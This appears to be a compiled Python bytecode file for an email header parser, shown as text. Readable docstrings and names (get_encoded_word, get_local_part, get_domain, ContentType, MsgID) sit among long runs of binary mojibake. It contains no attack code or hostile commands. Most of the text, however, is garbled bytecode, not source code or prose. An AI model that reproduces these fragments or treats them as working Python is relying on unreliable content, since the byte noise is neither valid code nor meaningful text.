kÒ1ØØ˜‘8—>‘>×'Ñ'Ó)ˆDؘ6Ñ!Ø!��t‘ Ø �4‰L× Ñ  ×!5Ñ!5°uÐ =Õ >ðð"Ÿ<™<Ÿ>‰KˆD�%ܘ5¤j°£mÔ4ˆEØ ™( 1™+ˆKØ!×)Ñ)ˆGð×'Ò'¬C°«J¸ªNؘ‘8˜A‘; !Ò#ؘ!‘H˜Q‘K×'Ñ'×.Ñ.¬v×/IÑ/IØHó0JôKà! " 1˜I�EðˆK؈AÜ).Ñ%� Ø! QÒ&ð!Ÿ>š>ØŸ ™ ×,Ñ,¬V×-GÑ-GØIó.KôLà àŸ ™ ×,Ñ,¬V×-GÑ-GØFó.HôIà�Q‘�Ø×)Ñ)�Ø—>’>ðRÜ &§ ¡ × =Ñ =¸eÓ D˜ðPØ$)§L¡L°Ð:KÓ$L˜Eô!×0Ñ0°Ô7Ø!ŸM™M×0Ñ0´×1NÑ1NÓ1PÕQØ×"Ñ" 5Ö)ðC*/ðD—G‘G˜KÓ(ˆEؘ�+Ô ñg*øôR!,Ô-?Ð@òPð %*§L¡L°Ð=NÓ$OšEð Pûô.òPô!'§ ¡ × 4Ñ 4°UÀYÐ 4Ó Ošð PüsI‚F6J4Æ9JÇIÇ+A2J4É!JÉ>J4ÊJÊJ4Ê*J1Ê.J4Ê0J1Ê1J4c óÞ—g}|jD]C\}}|r+|jdj|t|«««Œ3|j|«ŒEdj |«}|rd|zSdS)Nú{}={}z; rsr-)rržr=r r7)r(rr€rs rr9zMimeParameters.__str__2se€ØˆØŸ;œ;‰KˆD�%ÙØ— ‘ ˜gŸn™n¨T´<ÀÓ3FÓGÕHà— ‘ ˜dÕ#ð 'ð —‘˜6Ó"ˆÙ%ˆs�V‰|Ð-¨2Ð-rN)r>rhrirdrjrlrr9rtrrrlrlçs&„à"€JØ€Oà ñCóðCóJ.rrlcó —eZdZdZed„«Zy)ÚParameterizedHeaderValueFcó`—t|«D]}|jdk(sŒ|jcSiS)Nrm)Úreversedrdrr¢s rrzParameterizedHeaderValue.paramsCs0€ä˜d–^ˆEØ×ÑÐ#4Ó4Ø—|‘|Ò#ð$ðˆ rN)r>rhrirjrlrrtrrr‰r‰=s„ð€Oà ñóñrr‰có—eZdZdZdZdZdZy)Ú ContentTypez content-typeFÚtextÚplainN)r>rhrirdrMÚmaintypeÚsubtypertrrr�r�Ks„Ø€JØ€MØ€HØ�Grr�có—eZdZdZdZdZy)ÚContentDispositionzcontent-dispositionFN)r>rhrirdrMÚcontent_dispositionrtrrr“r“Rs„Ø&€JØ€MØÑrr“có—eZdZdZdZdZy)ÚContentTransferEncodingzcontent-transfer-encodingFÚ7bitN)r>rhrirdrMr“rtrrr–r–Xs„Ø,€JØ€MØ �Crr–có—eZdZdZdZy)Ú HeaderLabelz header-labelFNr!rtrrr™r™^s „Ø€JØ�Mrr™có—eZdZdZdZd„Zy)ÚMsgIDzmsg-idFcó2—t|«|jzSr$)rÚlineseprXs rrYz MsgID.foldgs€ä�4‹y˜6Ÿ>™>Ñ)Ð)rN)r>rhrirdrMrYrtrrr›r›cs„Ø€JØ€Mó*rr›có—eZdZdZy)Ú MessageIDz message-idNr~rtrrrŸrŸls„Ø�JrrŸcó—eZdZdZy)ÚInvalidMessageIDzinvalid-message-idNr~rtrrr¡r¡ps„Ø%�Jrr¡có—eZdZdZy)ÚHeaderÚheaderNr~rtrrr£r£tr‚rr£cór‡—eZdZdZdZdZˆfd„Zˆfd„Zd„Ze d„«Z d ˆfd„ Z d„Z e d„«Z d „ZˆxZS) ÚTerminalTcóD•—t‰|�||«}||_g|_|Sr$)r%Ú__new__rdr')Úclsrrdr(r+s €rr¨zTerminal.__new__‚s&ø€Ü‰w‰˜s EÓ*ˆØ$ˆŒØˆŒ ؈ rcóh•—dj|jjt‰|�««Sr;r<r@s €rr?zTerminal.__repr__ˆs&ø€Ø�‰˜tŸ~™~×6Ñ6¼¹Ñ8HÓ8JÓKÐKrcób—t|jjdz|jz«y)NÚ/)r]r+r>rdr8s rr`zTerminal.pprint‹s"€Ü ˆd�n‰n×%Ñ%¨Ñ+¨d¯o©oÑ=Õ>rcó,—t|j«Sr$)Úlistr'r8s rrEzTerminal.all_defectsŽs€ä�D—L‘LÓ!Ð!rc óÜ•—dj||jj|jt‰|�«|j sd«gSdj|j ««gS)Nz {}{}/{}({}){}r-z {})r=r+r>rdr%r?r')r(r\r+s €rrbz Terminal._pp’sgø€Ø×&Ñ&Ø Ø �N‰N× #Ñ #Ø �O‰OÜ ‰GÑ Ó Ø—l’lˆBó ðð ð ).¯ © °T·\±\Ó(Bó ðð rcó—yr$rtr8s rÚpop_trailing_wszTerminal.pop_trailing_ws›rrcó—gSr$rtr8s rrRzTerminal.commentsŸs€àˆ rcó0—t|«|jfSr$)rrdr8s rÚ__getnewargs__zTerminal.__getnewargs__£s€Ü�4‹y˜$Ÿ/™/Ð*Ð*rrg)r>rhrirMrkrjr¨r?r`rlrErbr±rRr´rmrns@rr¦r¦|sZø„à€MØÐØ€Oôô Lò?ðñ"óð"õòðñóðö+rr¦có"—eZdZed„«Zd„Zy)ÚWhiteSpaceTerminalcó—yrrrtr8s rrzWhiteSpaceTerminal.value©rurcó —|xr |dtvSrI©ÚWSPr8s rrJz!WhiteSpaceTerminal.startswith_fws­s€ØÒ&˜˜Q™¤3˜Ð&rN©r>rhrirlrrJrtrrr¶r¶§s„à ñóðó'rr¶có"—eZdZed„«Zd„Zy)Ú ValueTerminalcó—|Sr$rtr8s rrzValueTerminal.value³s€àˆ rcó—y)NFrtr8s rrJzValueTerminal.startswith_fws·s€ØrNr»rtrrr½r½±s„à ñóðórr½có"—eZdZed„«Zd„Zy)ÚEWWhiteSpaceTerminalcó—yrrtr8s rrzEWWhiteSpaceTerminal.value½s€àrcó—yrrtr8s rr9zEWWhiteSpaceTerminal.__str__Ás€ØrN)r>rhrirlrr9rtrrrÁrÁ»s„à ñóðórrÁcó—eZdZdZy)Ú_InvalidEwErrorz1Invalid encoded word found while parsing headers.N)r>rhriÚ__doc__rtrrrÅrÅÅs„Ú;rrÅr@Ú,zlist-separatorFr-zroute-component-markerz([{}]+)r-z[^{}]+z[\x00-\x20\x7F]có—t|«}|r.|jjtj|««t j |«r/|jjtjd««yy)z@If input token contains ASCII non-printables, register a defect.z*Non-ASCII characters found in header tokenN)Ú_non_printable_finderr'ržrÚNonPrintableDefectrr|r})ÚxtextÚnon_printabless rÚ_validate_xtextrÍòsc€ô+¨5Ó1€NÙØ � ‰ ×ÑœV×6Ñ6°~ÓFÔGÜ ×јUÔ#Ø � ‰ ×ÑœV×:Ñ:Ø 8ó:õ ;ð$rcó"—t|d«^}}g}d}d}tt|««D]6}||dk(r |rd}d}nd}Œ|rd}n |||vrn|j||«Œ8dz}dj |«dj ||dg|z«|fS)akScan printables/quoted-pairs until endchars and return unquoted ptext. This function turns a run of qcontent, ccontent-without-comments, or dtext-with-quoted-printables into a single string by unquoting any quoted printables. It returns the string, the remaining value, and a flag that is True iff there were any quoted printables decoded. rêFrTr-N)Ú _wsp_splitterÚrangerëržr7)rÚendcharsÚfragmentÚ remainderÚvcharsÚescapeÚhad_qpÚposs rÚ_get_ptext_to_endcharsrØüs¶€ô)¨°Ó2ЀHˆyØ €FØ €FØ €FÜ”S˜“]Ö#ˆØ �C‰=˜DÒ ÙØ�Ø‘à�ØÙ ؉FØ �c‰]˜hÑ &Ù Ø� ‰ �h˜s‘mÕ$ð$ð�A‰gˆØ �7‰7�6‹?˜BŸG™G X¨c¨d ^Ð$4°yÑ$@ÓAÀ6Ð IÐIrcór—|j«}t|dt|«t|«z d«}||fS)zãFWS = 1*WSP This isn't the RFC definition. We're using fws to represent tokens where folding can be done, but when we are parsing the *un*folding has already been done so we don't need to watch out for CRLF. NÚfws)r+r¶rë)rÚnewvaluerÚs rÚget_fwsrÜs:€ð�|‰|‹~€HÜ ˜UÐ#<¤C¨£J¬s°8«}Ñ$<Ð=¸uÓ E€CØ �ˆ=Ðrcó—t«}|jd«s$tjdj |««‚|ddj dd«^}}||ddk(r$tjdj |««‚dj |«}t|«dkDrF|dtvr;|dtvr0|jd «dkr|j dd«^}}|dz|z}t|j ««dkDr.|jjtjd ««||_ dj |«} tjd|zdz«\}}} } ||_| |_|jj+| «|ru|dt,vr t/|«\} }|j| «Œ-t1|d«^} }t3| |«} t5| «|j| «dj |«}|rŒu|r9|dt,vr.|jjtjd ««||fS#t t"f$r%t%d j |j««‚wxYw) zE encoded-word = "=?" charset "?" encoding "?" encoded-text "?=" ú=?z"expected encoded word but found {}râNz?=rêr-rÚ?zwhitespace inside encoded wordz!encoded word format invalid: '{}'z.missing trailing whitespace after encoded-word)r‘Ú startswithrÚHeaderParseErrorr=rr7rërÚcountr'ržrur“Ú_ewryÚ ValueErrorÚKeyErrorrÅr”r•rQrºrÜrÏr½rÍ)rÚ terminal_typeÚewrDrÓÚremstrÚrestrŽr”r•r'rSÚcharsÚvtexts rÚget_encoded_wordrì&s`€ô ‹€BØ × Ñ ˜DÔ !Ü×%Ñ%Ø 0× 7Ñ 7¸Ó >ó@ð @à˜A˜B�i—o‘o d¨AÓ.€O€Cˆ)Ø ˆe�A�BˆiÒÜ×%Ñ%Ø 0× 7Ñ 7¸Ó >ó@ð @à �W‰W�YÓ €FÜ ˆF‹ �aŠØˆq‰ ”YÑØˆq‰ ”YÑØ � ‰ �#‹˜Òà!Ÿ<™<¨¨aÓ0ЈˆyØ�D‰j˜4ÑˆÜ ˆ3�9‰9‹;Ó˜!ÒØ � ‰ ×Ñœ&×4Ñ4Ø ,ó.ô /à €B„FØ �G‰G�IÓ €Eð@Ü'*§z¡z°$¸±*¸tÑ2CÓ'DÑ$ˆˆg�t˜Wð€B„JØ€B„G؇J�J×Ñ�gÔÙ Ø �‰7”c‰>Ü! $›-‰KˆE�4Ø �I‰I�eÔ Ø Ü)¨$°Ó2Ј� ܘe ]Ó3ˆÜ˜ÔØ � ‰ �%ÔØ�w‰w�yÓ!ˆò ñ ��q‘¤Ñ$Ø � ‰ ×Ñœ&×4Ñ4Ø <ó>ô ?à ˆuˆ9Ðøô) œÐ !ò@ÜØ /× 6Ñ 6°r·v±vÓ >ó@ð @ð@ús Å I É 4I>có —t«}|�r[|dtvr t|«\}}|j|«Œ.d}|j d«r¨ t |d«\}}d}t |«dkDrB|djdk7r0|jjtjd««d}|r2t |«d kDr$|d jd k(rt|dd«|d<|j|«Œét|d «^}}|r(tj!|«r|j#d«^}}t%|d«}t'|«|j|«d j)|«}|r�Œ[|S#t$rd}YŒ„tj$rYŒ˜wxYw) aOunstructured = (*([FWS] vchar) *WSP) / obs-unstruct obs-unstruct = *((*LF *CR *(obs-utext) *LF *CR)) / FWS) obs-utext = %d0 / obs-NO-WS-CTL / LF / CR obs-NO-WS-CTL is control characters except WSP/CR/LF. So, basically, we have printable runs, plus control characters or nulls in the obsolete syntax, separated by whitespace. Since RFC 2047 uses the obsolete syntax in its specification, but requires whitespace on either side of the encoded words, I can see no reason to need to separate the non-printable-non-whitespace from the printable runs if they occur, so we parse this into xtext tokens separated by WSP tokens. Because an 'unstructured' value must by definition constitute the entire value, this 'get' routine does not return a remaining value, only the parsed TokenList. rTrÞÚutextrîrÚz&missing whitespace before encoded wordFrêéþÿÿÿr’r-)r|rºrÜržràrìrërdr'rrurÁrÅrárÏÚrfc2047_matcherÚsearchÚ partitionr½rÍr7)rr}rSÚvalid_ewÚhave_wsrDrÓrës rÚget_unstructuredrõWs›€ô.)Ó*€LÚ Ø �‰8”s‰?Ü" 5›>‰LˆE�5Ø × Ñ  Ô &Ø ØˆØ × Ñ ˜DÔ !ð Ü/°°wÓ?‘ ��uð�Ü�|Ó$ qÒ(Ø# BÑ'×2Ñ2°eÒ;Ø$×,Ñ,×3Ñ3´F×4NÑ4NØDó5FôGà"'˜Ùœs <Ó0°1Ò4Ø# BÑ'×2Ñ2°nÒDÜ+?Ø(¨Ñ,¨eó,5˜  RÑ(à×#Ñ# EÔ*ØÜ'¨¨qÓ1ˆˆˆiñ œ×.Ñ.¨sÔ3Ø#Ÿo™o¨dÓ3ˆOˆC�)ܘc 7Ó+ˆÜ˜ÔØ×јEÔ"Ø—‘˜ Ó"ˆóQ ðR ÐøôA#ò !Ø ’Ü×*Ñ*ò ñð úsÁ E+Å+ F Å8F Æ F cóX—t|d«\}}}t|d«}t|«||fS)actext = This is not the RFC ctext, since we are handling nested comments in comment and unquoting quoted-pairs here. We allow anything except the '()' characters, but if we find any ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is added to the token's defects list. Since quoted pairs are converted to their unquoted values, what is returned is a 'ptext' token. In this case it is a WhiteSpaceTerminal, so it's value is ' '. z()rJ)rØr¶rÍ©rrJÚ_s rÚ get_qp_ctextrùšs4€ô-¨U°DÓ9�O€Eˆ5�!Ü ˜u gÓ .€EÜ�EÔØ �%ˆ<ÐrcóX—t|d«\}}}t|d«}t|«||fS)aoqcontent = qtext / quoted-pair We allow anything except the DQUOTE character, but if we find any ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is added to the token's defects list. Any quoted pairs are converted to their unquoted values, so what is returned is a 'ptext' token. In this case it is a ValueTerminal. rrJ)rØr½rÍr÷s rÚ get_qcontentrû«s4€ô-¨U°CÓ8�O€Eˆ5�!Ü ˜% Ó )€EÜ�EÔØ �%ˆ<ÐrcóÖ—t|«}|s$tjdj|««‚|j «}|t |«d}t |d«}t|«||fS)z®atext = We allow any non-ATOM_ENDS in atext, but add an InvalidATextDefect to the token's defects list if we find non-atext characters. zexpected atext but found '{}'NÚatext)Ú_non_atom_end_matcherrrár=rÊrër½rÍ)rÚmrýs rÚ get_atextrºsk€ô ˜eÓ$€AÙ Ü×%Ñ%Ø +× 2Ñ 2°5Ó 9ó;ð ;à �G‰G‹I€EØ ”#�e“*�+Ð €EÜ ˜% Ó )€EÜ�EÔØ �%ˆ<ÐrcóN—|r|ddk7r$tjdj|««‚t«}|dd}|r'|ddk(rt |«\}}|j |«|rÜ|ddk7rÔ|dt vrt|«\}}nž|dddk(rˆd} t|«\}}|jj tjd ««d }|rSt|«dkDrE|d jd k(r3|d jdk(r!t|d d «|d <nt |«\}}|j |«|r |ddk7rŒÔ|s2|jj tjd««||fS||ddfS#tj$rt |«\}}YŒÏwxYw)zíbare-quoted-string = DQUOTE *([FWS] qcontent) [FWS] DQUOTE A quoted-string without the leading or trailing white space. Its value is the text between the quote marks, with whitespace preserved and quoted pairs decoded. rrzexpected '"' but found '{}'rêNrârÞFz!encoded word inside quoted stringTrîrÚrïr’z"end of header inside quoted string)rrár=r¥rûržrºrÜrìr'rurërdrÁ)rÚbare_quoted_stringrSrós rÚget_bare_quoted_stringrÊsÌ€ñ �E˜!‘H ’OÜ×%Ñ%Ø *× 1Ñ 1°%Ó 8ó:ð :ä)Ó+ÐØ �!�"ˆI€EÙ ��q‘˜S’Ü# EÓ*‰ ˆˆuØ×!Ñ! %Ô(Ù �E˜!‘H ’OØ �‰8”s‰?Ü" 5›>‰LˆE‘5Ø �2�AˆY˜$Ò ØˆHð 3Ü/°Ó6‘ ��uØ"×*Ñ*×1Ñ1´&×2LÑ2LØ7ó39ô:à�ñ œCÐ 2Ó3°aÒ7Ø& rÑ*×5Ñ5¸Ò>Ø*¨2Ñ.×9Ñ9¸^ÒKÜ-AØ*¨2Ñ.°ó.7Ð& rÒ*ô(¨Ó.‰LˆE�5Ø×!Ñ! %Ô(ñ+ �E˜!‘H “Oñ, Ø×"Ñ"×)Ñ)¬&×*DÑ*DØ 0ó+2ô 3à! 5Ð(Ð(Ø ˜u Q R˜yÐ (Ð(øô!×*Ñ*ò 3Ü+¨EÓ2‘ �’uð 3úsÂ>FÆ!F$Æ#F$có¼—|r,|ddk7r$tjdj|««‚t«}|dd}|rc|ddk7r[|dtvrt |«\}}n%|ddk(rt |«\}}nt|«\}}|j|«|r |ddk7rŒ[|s2|jjtjd««||fS||ddfS)z¬comment = "(" *([FWS] ccontent) [FWS] ")" ccontent = ctext / quoted-pair / comment We handle nested comments here, and quoted-pair in our qp-ctext routine. rrzexpected '(' but found '{}'rêNrzend of header inside comment) rrár=r¬rºrÜÚ get_commentrùržr'ru)rrwrSs rrrõsí€ñ  ��q‘˜S’Ü×%Ñ%Ø )× 0Ñ 0°Ó 7ó9ð 9ä‹i€GØ �!�"ˆI€EÙ �E˜!‘H ’OØ �‰8”s‰?Ü" 5›>‰LˆE‘5Ø �1‰X˜Š_Ü& uÓ-‰LˆE‘5ä'¨Ó.‰LˆE�5Ø�‰�uÔñ �E˜!‘H “Oñ Ø�‰×Ñœv×9Ñ9Ø *ó ,ô -à˜ˆ~ÐØ �E˜!˜"�IÐ ÐrcóÆ—t«}|rR|dtvrG|dtvrt|«\}}nt |«\}}|j |«|r |dtvrŒG||fS)z,CFWS = (1*([FWS] comment) [FWS]) / FWS r)rˆÚ CFWS_LEADERrºrÜrrž)rr‰rSs rÚget_cfwsrsg€ô ‹:€DÙ �E˜!‘H¤ Ñ+Ø �‰8”s‰?Ü" 5›>‰LˆE‘5ä& uÓ-‰LˆE�5Ø � ‰ �EÔñ �E˜!‘H¤ Ò+ð �ˆ;Ðrcó —t«}|r*|dtvrt|«\}}|j|«t |«\}}|j|«|r*|dtvrt|«\}}|j|«||fS)zÙquoted-string = [CFWS] [CFWS] 'bare-quoted-string' is an intermediate class defined by this parser and not by the RFC grammar. It is the quoted string without any attached CFWS. r)r—rrržr)rÚ quoted_stringrSs rÚget_quoted_stringr s„€ô!“N€MÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јUÔ#Ü)¨%Ó0�L€Eˆ5Ø×јÔÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јUÔ#Ø ˜%Ð Ðrcóþ—t«}|r*|dtvrt|«\}}|j|«|r/|dtvr$t j dj|««‚|jd«r t|«\}}nt|«\}}|j|«|r*|dtvrt|«\}}|j|«||fS#t j $rt|«\}}YŒdwxYw)zPatom = [CFWS] 1*atext [CFWS] An atom could be an rfc2047 encoded word. rzexpected atom but found '{}'rÞ) r‹rrržÚ ATOM_ENDSrrár=ràrìr)rrŒrSs rÚget_atomr-sö€ô ‹6€DÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ � ‰ �EÔÙ ��q‘œYÑ&Ü×%Ñ%Ø *× 1Ñ 1°%Ó 8ó:ð :à ×јÔð ,Ü+¨EÓ2‰LˆE‘5ô ! Ó'‰ ˆˆu؇K�K�ÔÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ � ‰ �EÔØ �ˆ;Ðøô×&Ñ&ò ,ô% UÓ+‰LˆE’5ð ,úsÁ:CÃ!C<Ã;C<có —t«}|r |dtvr$tjdj |««‚|r\|dtvrQt |«\}}|j |«|r"|ddk(r|j t«|dd}|r |dtvrŒQ|dtur'tjdj d|z««‚||fS)z( dot-text = 1*atext *("." 1*atext) rz8expected atom at a start of dot-atom-text but found '{}'r rêNrîz4expected atom at end of dot-atom-text but found '{}')r r rrár=rržrA)rÚ dot_atom_textrSs rÚget_dot_atom_textrHsÚ€ô “M€MÙ �E˜!‘H¤ Ñ)Ü×%Ñ%ð'+ß+1©6°%«=ó:ð :á �E˜!‘H¤IÑ-Ü  Ó'‰ ˆˆuØ×јUÔ#Ù �U˜1‘X ’_Ø × Ñ ¤Ô %ؘ!˜"�IˆEñ �E˜!‘H¤IÒ-ð �RÑœCÑÜ×%Ñ%ð'ß#™V C¨¡IÓ.ó0ð 0à ˜%Ð Ðrcó˜—t«}|dtvrt|«\}}|j|«|j d«r t |«\}}nt|«\}}|j|«|r*|dtvrt|«\}}|j|«||fS#t j$rt|«\}}YŒdwxYw)z† dot-atom = [CFWS] dot-atom-text [CFWS] Any place we can have a dot atom, we could instead have an rfc2047 encoded word. rrÞ) rrrržràrìrrár)rÚdot_atomrSs rÚ get_dot_atomr[sÅ€ô ‹y€HØ ˆQ�x”;ÑÜ “‰ ˆˆuØ�‰˜ÔØ ×јÔð 4Ü+¨EÓ2‰LˆE‘5ô )¨Ó/‰ ˆˆuØ ‡O�O�EÔÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ�‰˜ÔØ �Uˆ?Ðøô×&Ñ&ò 4ô-¨UÓ3‰LˆE’5ð 4úsÁB%Â%!C ÃC có(—|dtvrt|«\}}nd}|stjd«‚|ddk(rt |«\}}n=|dt vr$tjdj |««‚t|«\}}|�|g|dd||fS)aˆword = atom / quoted-string Either atom or quoted-string may start with CFWS. We have to peel off this CFWS first to determine which type of word to parse. Afterward we splice the leading CFWS, if any, into the parsed sub-token. If neither an atom or a quoted-string is found before the next special, a HeaderParseError is raised. The token returned is either an Atom or a QuotedString, as appropriate. This means the 'word' level of the formal grammar is not represented in the parse tree; this is because having that extra layer when manipulating the parse tree is more confusing than it is helpful. rNz5Expected 'atom' or 'quoted-string' but found nothing.rz1Expected 'atom' or 'quoted-string' but found '{}')rrrrár ÚSPECIALSr=r)rÚleaderrSs rÚget_wordrts±€ð  ˆQ�x”;ÑÜ  ›‰ ˆ‘àˆÙ Ü×%Ñ%Ø CóEð Eà ˆQ�x�‚}Ü(¨Ó/‰ ˆ‰uØ ˆq‰”XÑ Ü×%Ñ%ð'7ß7=±v¸e³}óFð Fô  “‰ ˆˆuØ ÐØ�Hˆˆbˆqˆ Ø �%ˆ<ÐrcóÈ—t«} t|«\}}|j|«|rŠ|dtvr|ddk(rI|jt«|j jtjd««|dd}n t|«\}}|j|«|r |dtvrŒ||fS#tj$r1|j jtj d««YŒÓwxYw#tj$rL|dtvr=t|«\}}|j jtjd««n‚YŒÈwxYw)a÷ phrase = 1*word / obs-phrase obs-phrase = word *(word / "." / CFWS) This means a phrase can be a sequence of words, periods, and CFWS in any order as long as it starts with at least one word. If anything other than words is detected, an ObsoleteHeaderDefect is added to the token's defect list. We also accept a phrase that starts with CFWS followed by a dot; this is registered as an InvalidHeaderDefect, since it is not supported by even the obsolete grammar. zphrase does not start with wordrr zperiod in 'phrase'rêNzcomment found without atom) r€rržrrár'ruÚ PHRASE_ENDSrAÚObsoleteHeaderDefectrr)rr�rSs rÚ get_phraser–sM€ô‹X€Fð0Ü “‰ ˆˆuØ� ‰ �eÔñ �E˜!‘H¤KÑ/Ø �‰8�SŠ=Ø �M‰Mœ#Ô Ø �N‰N× !Ñ !¤&×"=Ñ"=Ø$ó#&ô 'à˜!˜"�I‰Eð Ü'¨›‘ ��uð �M‰M˜%Ô ñ! �E˜!‘H¤KÒ/ð" �5ˆ=Ðøô) × "Ñ "ò0Ø�‰×Ñœf×8Ñ8Ø -ó/ö 0ð0ûô×*Ñ*ò ؘ‘8œ{Ñ*Ü#+¨E£?‘L�E˜5Ø—N‘N×)Ñ)¬&×*EÑ*EØ4ó+6õ7ðñ7ð ús%ŒB; DÂ;AC?Ã>C?ÄAE!Å E!có®—t«}d}|r|dtvrt|«\}}|s$tjdj |««‚ t |«\}}|�|g|dd|j|«|rž|ddk(s |dtvr‹tt|«|z«\}}|jdk(r/|jjtjd««n.|jjtj d««||d< |j"j%d«||fS#tj$rK t|«\}}n7#tj$r!|ddk7r |dtvr‚t«}YnwxYwY�Œ6wxYw#t&$r4|jjtj(d ««Y||fSwxYw) z= local-part = dot-atom / quoted-string / obs-local-part Nrz"expected local-part but found '{}'rúinvalid-obs-local-partzó@ð @ð Ü# EÓ*‰ ˆˆuðÐØ�Hˆˆbˆqˆ Ø×Ñ�eÔÙ �%˜‘(˜D’. E¨!¡H´KÑ$?Ü 2´3°z³?ÀUÑ3JÓ Kш˜Ø × $Ñ $Ð(@Ò @Ø × Ñ × %Ñ %¤f×&@Ñ&@ØNó'Põ Qð × Ñ × %Ñ %¤f×&AÑ&AØ>ó'@ô Aà&ˆ �1‰ ð>Ø×Ñ×Ñ Ô(ð �uÐ Ðøô1 × "Ñ "ò ð Ü# E›?‰LˆE‘5øÜ×&Ñ&ò Ø�Q‰x˜4Ò E¨!¡H´ Ñ$;ØÜ“KŠEð ýð ûô* ò>Ø×Ñ×!Ñ!¤&×"@Ñ"@Ø;ó#=õ >à �uÐ Ðð>úsHÁD6ÄFÄ6FÅ EÅFÅ1F Æ FÆ F Æ FÆFÆ7GÇGcóN—t«}d}|�rB|ddk(s |dtv�r.|ddk(rM|r.|jjt j d««|jt «d}|dd}Œl|ddk(rT|jt|dd ««|dd}|jjt j d ««d}ŒÈ|r@|d jd k7r.|jjt j d «« t|«\}}d}|j|«|r|ddk(r�Œ!|dtvr�Œ.|s$t jdj|««‚|djd k(s2|djdk(rNt|«dkDr@|djd k(r.|jjt j d««|d jd k(s2|d jdk(rNt|«dkDr@|djd k(r.|jjt j d««|jrd|_||fS#tj$r|dtvr‚t|«\}}Y�Œ{wxYw)z' obs-local-part = word *("." word) Frrr zinvalid repeated '.'TrêNúmisplaced-specialz/'\' character outside of quoted-string/ccontentrîr@zmissing '.' between wordsz&expected obs-local-part but found '{}'r‰z!Invalid leading '.' in local partrïz"Invalid trailing '.' in local partr)r3rr'ržrrurAr½rdrrárrr=rë)rr#Úlast_non_ws_was_dotrSs rr r ãs¨€ô"“^€NØÐÚ �U˜1‘X˜t’^ u¨Q¡x´{Ò'BØ �‰8�sŠ?Ù"Ø×&Ñ&×-Ñ-¬f×.HÑ.HØ*ó/,ô-à × !Ñ !¤#Ô &Ø"&Рؘ!˜"�IˆEØ Ø �1‰X�tŠ^Ø × !Ñ !¤-°°a±Ø0Có#Eô Fà˜!˜"�IˆEØ × "Ñ "× )Ñ )¬&×*DÑ*DØBó+Dô Eà"'Ð Ø Ù ˜n¨RÑ0×;Ñ;¸uÒDØ × "Ñ "× )Ñ )¬&×*DÑ*DØ+ó+-ô .ð +Ü# E›?‰LˆE�5Ø"'Ð ð ×јeÔ$ñ7 �U˜1‘X˜t”^ u¨Q¡x´{Ó'Bñ8 Ü×%Ñ%Ø 4× ;Ñ ;¸EÓ BóDð Dà�qÑ×$Ñ$¨Ò-Ø ˜1Ñ × (Ñ (¨&Ò 0Ü �Ó  !Ò #Ø ˜1Ñ × (Ñ (¨%Ò /Ø×Ñ×%Ñ%¤f×&@Ñ&@Ø /ó'1ô 2à�rÑ×%Ñ%¨Ò.Ø ˜2Ñ × )Ñ )¨6Ò 1Ü �Ó  !Ò #Ø ˜2Ñ × )Ñ )¨5Ò 0Ø×Ñ×%Ñ%¤f×&@Ñ&@Ø 0ó'2ô 3à×ÒØ$<ˆÔ!Ø ˜5Ð Ð øô-×&Ñ&ò +Ø�Q‰xœ{Ñ*ØÜ# E›?‰LˆE“5ð +úsÄI3É3-J$Ê#J$có¸—t|d«\}}}t|d«}|r.|jjt j d««t |«||fS)a dtext = / obs-dtext obs-dtext = obs-NO-WS-CTL / quoted-pair We allow anything except the excluded characters, but if we find any ASCII other than the RFC defined printable ASCII, a NonPrintableDefect is added to the token's defects list. Quoted pairs are converted to their unquoted values, so what is returned is a ptext token, in this case a ValueTerminal. If there were quoted-printables, an ObsoleteHeaderDefect is added to the returned token's defect list. z[]rJz(quoted printable found in domain-literal)rØr½r'ržrrrÍ)rrJrÖs rÚ get_dtextr)sZ€ô2°%¸Ó>Ñ€Eˆ5�&Ü ˜% Ó )€EÙ Ø � ‰ ×ÑœV×8Ñ8Ø 6ó8ô 9ä�EÔØ �%ˆ<Ðrcóˆ—|ry|jtjd««|jtdd««y)NFz"end of input inside domain-literalÚ]údomain-literal-endT)ržrrur½)rÚdomain_literals rÚ_check_for_early_dl_endr.+s?€Ù ØØ×Ñœ&×4Ñ4Ø,ó.ô/à×Ñœ-¨Ð-AÓBÔCØ rcón—t«}|dtvrt|«\}}|j|«|st j d«‚|ddk7r$t j dj |««‚|dd}t||«r||fS|jtdd««|dtvrt|«\}}|j|«t|«\}}|j|«t||«r||fS|dtvrt|«\}}|j|«t||«r||fS|ddk7r$t j d j |««‚|jtdd ««|dd}|r*|dtvrt|«\}}|j|«||fS) zB domain-literal = [CFWS] "[" *([FWS] dtext) [FWS] "]" [CFWS] rzexpected domain-literalÚ[z6expected '[' at start of domain-literal but found '{}'rêNzdomain-literal-startr+z4expected ']' at end of domain-literal but found '{}'r,) rGrrržrrár=r.r½rºrÜr))rr-rSs rÚget_domain_literalr13s¼€ô#“_€NØ ˆQ�x”;ÑÜ “‰ ˆˆuØ×јeÔ$Ù Ü×%Ñ%Ð&?Ó@Ð@Ø ˆQ�x�3‚Ü×%Ñ%ð'!ß!'¡¨£ó0ð 0à �!�"ˆI€Eܘu nÔ5ؘuÐ$Ð$Ø×Ñœ-¨Ð-CÓDÔEØ ˆQ�x”3�ܘu“~‰ ˆˆuØ×јeÔ$ܘUÓ#�L€Eˆ5Ø×ј%Ô Ü˜u nÔ5ؘuÐ$Ð$Ø ˆQ�x”3�ܘu“~‰ ˆˆuØ×јeÔ$ܘu nÔ5ؘuÐ$Ð$Ø ˆQ�x�3‚Ü×%Ñ%ð'!ß!'¡¨£ó0ð 0à×Ñœ-¨Ð-AÓBÔCØ �!�"ˆI€EÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јeÔ$Ø ˜5Ð Ð rcó"—t«}d}|r|dtvrt|«\}}|s$tjdj |««‚|ddk(r+t |«\}}|�|g|dd|j|«||fS t|«\}}|r|ddk(rtjd«‚|�|g|dd|j|«|rœ|ddk(r”|jjtjd««|djd k(r|d|dd|rJ|ddk(rB|jt«t|d d«\}}|j|«|r |ddk(rŒB||fS#tj$rt|«\}}YŒýwxYw) z] domain = dot-atom / domain-literal / obs-domain obs-domain = atom *("." atom)) Nrzexpected domain but found '{}'r0r-zInvalid Domainr z(domain is not a dot-atom (contains CFWS)rrê)rrrrrár=r1ržrrr'rrdrA)rrórrSs rÚ get_domainr3Zsª€ô ‹X€FØ €FÙ 